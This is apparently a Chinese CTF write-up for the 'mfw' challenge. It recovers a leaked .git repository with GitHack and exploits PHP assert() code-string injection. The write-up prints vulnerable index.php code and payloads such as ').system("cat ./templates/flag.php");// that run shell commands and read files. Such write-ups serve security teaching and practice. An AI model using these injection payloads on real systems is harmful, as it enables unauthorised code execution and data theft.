mfw git泄露构造闭合

这题也挺有想法 第一次确实没有想到

首先我们可以扫出 git

然后

我们githack 泄露一下

然后我们看index.php代码

复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

问题代码出现在

复制代码
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

这里的参数是可以闭合的 因为是可控的


我们构造 ')


assert("strpos('')', '..') === false") or die("Detected hacking attempt!");

然后我们可以在后面面接上其他php语句


这里有两个


').system("ls");//


或者

') or system("ls");//

最后payload

就是替换为cat即可

复制代码
/?page=').system("cat ./templates/flag.php");//
相关推荐
遇见火星15 小时前
Git 入门指南:从零开始掌握版本控制的魔法
git·版本控制
星际编程喵16 小时前
研发流程规范:Git Commit 书写标准
git·gitee·github·gitcode
to future_18 小时前
git超详细教程
git
GL_Rain18 小时前
pip安装git库出现ModuleNotFoundError: No module named ‘xxx‘
git·pip
大白要努力!21 小时前
Android 项目历史提交远程仓库资源过大,如何清理历史提交中无用的大文件
android·git
一点事21 小时前
git:已有主分支,创建空分支,管理项目
git
指尖跳动的光21 小时前
git 提交报 Updates were rejected because the tip of your current branch is behind
git
痕忆丶1 天前
Git_Rebase_Conflict_Resolution
大数据·git
啃火龙果的兔子1 天前
vscode中的git插件
git·vscode·elasticsearch
小钟不想敲代码1 天前
GitFlow
git·gitflow